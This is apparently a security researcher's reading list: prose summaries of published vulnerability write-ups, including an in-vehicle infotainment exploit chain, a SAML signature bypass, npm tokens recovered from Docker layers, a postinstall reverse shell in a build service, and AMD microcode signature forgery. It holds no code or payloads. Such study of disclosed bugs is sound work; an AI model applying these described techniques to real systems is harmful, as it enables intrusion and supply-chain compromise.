Resources

People often ask me "How did you learn how to hack?" The answer: by reading. This page is a collection of the blog posts and other articles that I have accumulated over the years of my journey. Enjoy!

Insomnihack - Pioneering Zero Days at Pwn2Own Automotive 2024- 1616

NCC Group    Reference →Posted 1 Year Ago
  • This is just a bunch of slides but a ton can still be learned from it. The target is an In-Vehicle Entertainment system that has things like Amazon Alexa and things built into it. The first part of the process was getting the code off of it to reverse engineer and getting a debuggable environment.
  • The flash chip was a BGA eMMC chip. So, they used a hot air reworking station to remove the chip, popped it into an adapter and got the firmware off of it. To get a debuggable environment, they reverse engineered a bunch of settings for a secret debug menu and added a missing 0-ohm resistor but were shut out by a good password they couldn't crack.
  • Eventually, they just live patched the running memory of the chip to change /etc/shadow to get a shell. They also tried reprogramming the chip but bricked one of their devices trying to do this.
  • The device had an insecure HTTPs certificate handling on a request to api.sports.gracenote.com. By hosting a malicious DHCP server with attacker controlled DNS, they could interact with this service. On this server, there was a directory traversal arbitrary write vulnerability that allowed for writing arbitrary files.
  • Most of the system contained a read-only filesystem. Many of the mounts were even noexec. They found that the file pkcs11.txt allowed for the configuration of shared objects with a file path. Additionally, there was a mounted USB that was missing the noexec flag.
  • Using this configuration file, it was possible to load arbitrary .so/code> libraries. Of course, they could write this library to the USB. The only problem was that this wasn't changed right away; it was set at boot time of the device. Eventually, they found that by writing to /usr/local/bin/Media in a particular way the device would reboot. To go to root, they used an n-day kernel exploit.
  • The rules of Pwn2Own are weird to me. How would the car be listening to this malicious DNS server in the first place to launch this exploit? It doesn't seem very realistic to me... Then, they have to perform the reboot themselves because no user interaction is allowed once the exploit starts. Regardless, a cool bug and a fun story on reverse engineering!

Sign in as anyone: Bypassing SAML SSO authentication with parser differentials- 1615

Peter Stockli - Github    Reference →Posted 1 Year Ago
  • The initial research for this post started with an attack vector as opposed to a real issue: ruby-saml used two different SAML libraries. During signature verification, the element is first read using the REXML parser and with Nokogiri's XML parser. If a difference could be used to trick the XPath query then it may be possible to bypass the signature verification.
  • Security Assertion Markup Language (SAML) is a framework for transporting signed-in user from an identity provider to a service provider in XML. The main part of the SAML response is the Assertion. This contains a DigestValue, SignatureValue and a Subject field for the user. Normally, the entire assertion portion is canonicalized and then compared again the Digest. Then, a signature is compared on the SignatureValue based upon this digest. These are important later for exploitation.
  • Before looking into parser differentials, they first needed to see if there was a path to exploitation. After carefully analyzing which parser makes what query, the came to the following conclusions:
    • The SAML assertion is extracted and canonicalized with Nokogiri. The hash is then compared with a value from REXML.
    • The SignedInfo element is extracted and canonicalized with Nokogiri - it is then verified against the SignatureValue, which was grabbed with REXML.
  • What's the path for this exploit? First, make it so that REXML doesn't find the Signature XML object but Nokogiri does. This SignedInfo is then compared against the SignatureValue extracted via REXML. Later on, the DigestValue needs to be compared with the one that was signed. By getting Nokogiri to canonicalize the assertion but get REXML to extract a different DigestValue than the one used on signature validation, it will bypass the check without being signed.
  • There were two known PoCs. This was initially found via a HackerOne submission using techniques from XML roundtrips vulnerabilities, since GitHub had added this library to their bounty. The author of the article found a different parsing issue from using the Trail of Bits Ruby fuzzer ruzzy.
  • There is a nice image that explains this but I'm unsure whose exploit it is. In the image, the Signature field found by Nokigiri is NOT under an Assertion. When REXML needs the digest, it uses the one under Assertion instead. Seems like the traversing of the tree was funky between the libraries.
  • Relying on two parsers is error prone. Exploitability isn't automatic in these cases but it's a good place to start. To fix this issue, they decided to use only a single library, which is great. Solid article but I wish both exploits were explained in more detail.

How We Hacked a Software Supply Chain for $50K- 1614

Lupin    Reference →Posted 1 Year Ago
  • This blog is ran by two brothers who like to hunt for bugs together. They had each found several criticals on the this target but wanted an Exceptional Vulnerability - what I'd call a super critical - on this company. They decided to look at a recent acquisition of the company; the scope was simply "anything owned by the company". Since acquisitions may not have the same security controls in place, they were hoping for some low hanging fruit.
  • To go deeper, they were curious about supply chain vulnerabilities. If you want a super-crit, this is a good way to go. Things like, dependency confusion, artifactory access and other things are great attack methods. Using a mix of these methodologies, they were hopeful of finding a super crit.
  • They did a bunch of recon around NPM and found what appeared to be a private NPM package. If you have a license, you can setup an organization that has private packages. They were hopeful of source code leakageor dependency confusion here but didn't find anything. With nothing on Github, they turned to Docker and found several unsecured Docker images. Once they pulled the Docker images, they found backend source code for the application. Knarly!
  • One of the images even had the .git folder still intact, giving them access to the complete git history of it. Under .git/config, they found an authorization bearer token. After some research, they realized that this was for Github Actions! If the token was too permissive, they may be able to manipulate the pipelines or artifacts themselves.
  • GitHub Action tokens are commonly generated automatically to allow workflows to interact with repository-pushing code but expire once the workflow completes, limiting exploitability. If the artifact containing the token is uploaded before the workflow ends, then the image can be accessed while it's still active. The Docker push was the third to last item, meaning that it may just barely be possible to use the token before it expires. A month after they did this research, some other folks used a similar method to use a Github Action token.
  • The Dockerfile had a package.json that contained a private package from the npm organization they mentioned before. To pull these, the image would have needed an npm token within the .npmrc, but this wasn't there. This was because the Dockerfile deleted the file in the last build step.
  • Is this file gone forever? No! Docker has layers that are used for efficient caching. It turns out that these layers can be accessed individually! They found a sick tool called dive for reviewing file system images of Docker. Using this, they found the private npm token that granted them read/write access to the packages.
  • With the ability to write to this internal organization npm, it was game over. Developers who ran these internal packages were now compromised. The backend web service they mentioned was also compromised. This is a super-crit! Super fun blog post!

Sanitize Client-Side: Why Server-Side HTML Sanitization is Doomed to Fail- 1613

Yaniv Nizry - Sonar Source    Reference →Posted 1 Year Ago
  • Cross site scripting (XSS) is a super common web vulnerability. If a user can include HTML into the page, then you can commonly add your own JavaScript to perform malicious actions. Sometimes, some HTML should be allowed for styling. Because of this, HTML sanitizers are super important for preventing security issues in these cases.
  • These sanitizers work by parsing the HTML input to create a structured DOM tree object. Then, parsing this DOM to ensure that nothing defined as malicious exists. This HTML sanitizing should be done on the client side in order to prevent parser differential issues. In reality, it's done on the server-side quite a bit.
  • Sonar source has found a lot of sanitizer bypasses in the past. They noticed that a group of them worked on almost all of them written in PHP. All of the bypasses were relating to comments, math, RCdata and RAWData. All of these are new HTML 5 features!
  • The built in PHP HTML parser uses an out-of-date HTML 4 specification from libxml2. If the parser used for cleaning was the same as the execution (being in the browser), this issue wouldn't have existed. It's just a standard though, how hard can this really be?
  • HTML is a constantly evolving language. New elements, attributes and features are regularly introduced. Different users are also running different versions of browsers, which causing some complications here. The author claims that the parser configuration can make a big difference as well. If scripting is enabled or not can determine how some elements are parsed.
  • Another issue surrounds parsing weird HTML. If something goes through a parser multiple times in a loop, the output may be different in the two cases. Additionally, mutation XSS can be used too.
  • The issue around PHP was never fixed. Instead, this big PHP library now has a big red warning label that it shouldn't be used for sanitizing because it doesn't support HTML5 very well. Overall, a good post around a bad practice and an interesting vulnerability in the improper usage of a library.

x/group can halt when erroring in EndBlocker - 1612

Interchain Foundation    Reference →Posted 1 Year Ago
  • A vulnerability in the Cosmos SDK group module led to a chain panic. It's well known that an error or panic in the either the begin blocker or the end blocker in Cosmos results in a chain halt.
  • From reading the patch, it appears that the only real change that was made was around error handling. If a call to k.Tally was made with an error, then an error used to be returned. If you follow this up the call chain, then this results in an error being returned to the EndBlocker call.
  • I'm unsure exactly what error could have resulted in this. If this were me, I would have saw the potential for a DoS in the EndBlocker and then looked for ways to trigger an error within the processing of a group.
  • To remediate the issue, the function doesn't return an error. Instead, it just prunes the votes, sets the status to rejected, and emits an event.

Shattering the Rotation Illusion: Part 4 - Developer Forums- 1611

Clutch Security    Reference →Posted 1 Year Ago
  • These researchers intentionally put credentials into Stack Overflow, Reddit and many other places. Most of these were exploited within a day, which is pretty interesting.

Zen and the Art of Microcode Hacking- 1610

Google    Reference →Posted 1 Year Ago
  • Microcode is code that runs during instruction execution. Much of this is in hardware, but some is small RISC instructions stored in some small storage on the chip itself. This makes bugs in the code, such as the famous Intel FDIV bug in 1994, patchable. The Microcode exists in on-die ROM but the patches are in on-die SRAM. The authors of this post were interested in how the patching process of these worked!
  • Both Intel and AMD encrypt the patches to prevent reverse engineering and use digital signatures to prevent the loading of bad microcode patches. The update contains a lot of RSA key information, encrypted data of the patch itself and an array of information for where should be patched.
  • To perform the upgrade, the following is done once the fix has been shipped:
    1. Software performing the upgrade will write the patch blob to MSR 0xc0010020 to start the microcode upgrade process.
    2. Copy the patch to the internal memory of the CPU.
    3. Checks for improper rollbacks and validates that this is indeed the proper RSA key.
    4. RSA PKCS #1 signature is decrypted using the RSA public key. The result is a padded AES CMAC hash of the patch contents.
    5. Signed hash content must match the calculated hash. Otherwise, the wrong data was sent. The CPU microcode patch version is updated.
  • The verification for the patch signatures effectively uses RSASSA-PKCS1-v1.5 algorithm. The only difference is that a non-standard hash algorithm that is prone to collisions was selected. When hashing the data to sig, it's typically padded with a constant value. The recipient can use the public key to validate the signature. To break this, a complete break of RSA or the hash function would need to be found, making this secure.
  • In sitautions where storage is an issue (like with on-die storage of a chip), a hash of the key can be stored instead. Then, when doing the signature verification, the public key is provided and hashed to validate that it's the same one as the one stored in the on-die storage. This system works because it's nearly impossible to find a collision between two plaintexts.
  • The key vulnerability is that the hash function used is CMAC. Although this works as a Message Authentication code function, it does NOT function as a secure hashing function. That's not the goal of it! In practice, this algorithm looks like a CRC that XORs the bits. Since the verification of the RSA key is required for security, being able to submit our own RSA key via a hash collision would completely compromise the microcode update process. In practice, this only requires that we know the AES key of the signature, which has to be in every CPU - it's a bad assumption to make that this will be secret forever.
  • To test this, they used old Zen 1 CPU example keys that were used up through Zen 4 CPUs. using this key, they could break the two usages of AES-CMAC: RSA public key and microcode patch contents. They were able to forge new public keys were generated the same hash as the authentic AMD key. In order to pull off this attack, a compensating block was needed with random data to align to 16 bytes. Since this is Microcode, it could cause crashes. So, they choose to attack the public key instead of the microcode patches themselves.
  • To do this, they had to generate a second preimage of the public key. They generated a large list of candidate RSA public keys that collided with the expected public key. From there, they checked if the values were easy to factor, such as being divisible by 2. After some attempts, they found a suitable key!
  • Ironically, to fix this, a microcode patch is performed to add a custom secure hash function. Using this bug, they were actually able to extract and reverse engineer previous microcode patches, such as the Zenbleed vulnerability. They created a tool that allows for the exploitation of this vulnerability on all unpatched Zen 1 through Zen 4 CPUs which will enable research into previously undocumented computer code.
  • This blog post is pretty amazing. It required a deep understanding of cryptography and a ton of reverse engineering. The blog claims it will release a post on the reverse engineering aspect in the future.

When NULL isn't null: mapping memory at 0x0 on Linux- 1609

disconnect3d    Reference →Posted 1 Year Ago
  • When referencing a null pointer in C, we assume this is invalid. What if this could point to valid memory in some conditions? In this blog post, they discuss how to do this on Linux.
  • This article stems from an interview question: "What happens when the following C or C++ code executes: *(int*)(rand_int()) = 0x41424344; In reality this is undefined behavior. This will change depending on the CPU architecture, privilege level, or compiler version.
  • This will succeed if the address is within the process-mapped virtual address space with write permissions. If the address is unmapped or lacks write permissions, the process will crash. Practically, this is more nauced, though. The invalid memory access will be intercepted by the CPU, which triggers an exception. The Linux kernel then sends a SIGSEGV signal to the process. To me, this is what makes it a great interview question: it allows you to dig into the interviewees' knowledge of the system without making them feel bad.
  • Another edge case is that if the memory is barely in front of the stack address location, then it will attempt to expand the stack. Those CTF players definitely know their esoteric edge cases! What happens if the address is at 0x0?
  • The Linux kernel configurable vm.mmap_min_addr is the minimum virtual address that a call to mmap can include. By default, it's set to 0x10000, but the root user can modify this and bypass this restriction altogether. The reason for this value and not 0x1 is that we want to protect against pointer dereferences with slight index offsets.
  • This configuration was added in order to prevent null pointer dereferences in the Linux kernel leading to vulnerabilities with horrible impact. The idea would be to allocate data at address 0x0 then use a null pointer dereference to access this memory from the kernel to hijack the kernel. According to the author, this is a realic of the past though: SMAP and SMEP prevent this type of exploitation now-a-days.
  • Overall, an interesting blog post! Good read with some fun edge cases.

how to gain code execution on millions of people and hundreds of popular apps- 1608

Kirby.town    Reference →Posted 1 Year Ago
  • The author was trying to use Cursor, an AI coding assistant. When downloading this tool, they got a hit on a firewall software that it was making an outgoing connection to download.todesktop.com. todesktop is an Electron app bundling service that provides an SDK for Electron apps.
  • Since this was a deployment service, the author was interested in its security. A vulnerability would allow for the compromise of hundreds of apps. After seeing that this used Firestore, firebase's no-sql database that is often used in frontend, they quickly got to work hunting for bugs. This led them to an NPM CLI package.
  • The cloud function getSignedURL() had an arbitrary S3 upload vulnerability. However, they didn't have a useful place to upload files to so they just moved on.
  • Since this entire platform was about building and deploying, they were curious about how this was done. They added a postinstall script to the package.json. They found an encrypted configuration file when navigating this container with a reverse shell used for Firebase. After finding the decryption code, they got a hardcoded Firebase admin key.
  • This service allowed them to auto-update any app of their liking, including Cursor. They tested this by deploying an update to their custom app and immediately saw the results. There is a huge impact on this!
  • To fix this issue, the build container has a privileged sidecar that does the signing, uploading and everything else, while the main container only has the user code. User isolation on arbitrary code is extremely difficult, in my opinion. They got a 5K bounty from todesktop, which the author said was fair because of the company's size. Cursor gave them 50K too, which is amazing. Overall, great post!

BLS12-381 Pairing Consensus Issue - 1607

MariusVanDerWijden    Reference →Posted 1 Year Ago
  • Ethereum has implemented several EVMs and consensus clients, which is important for security. If there's a horrible double-spend issue, it's unlikely that it will be on two different clients. Unfortunately, this has created an entirely new bug class: consensus disagreements. If two implementations differ at all, then these two stacks will come to different conclusions on values, resulting in a chain split.
  • Geth and Nethermind are two such EVM implementations. A competitor in the Pectra Audit contest noticed that there is a difference in the results of the BLS12-381 pre-compile. The specification for this smart contract had the following: "If any input is the infinity point, pairing result will be 1. Protocols may want to check and reject infinity points prior to calling the precompile."
  • This has two interpretations:
    1. The pair may be ignored, where P or Q is infinity.
    2. The precompile should return 1 and the multi-pairing shouldn't be computed.
  • The author intended 1. Nethermind had implemented 2, and Geth had implemented 1. So, it was decided to use the Geth-compliant implementation in this case. Consensus issues are super nasty; they quickly lead to the division of chains. Unfortunately, it's nearly impossible to be perfectly compliant with every little feature of a piece of software.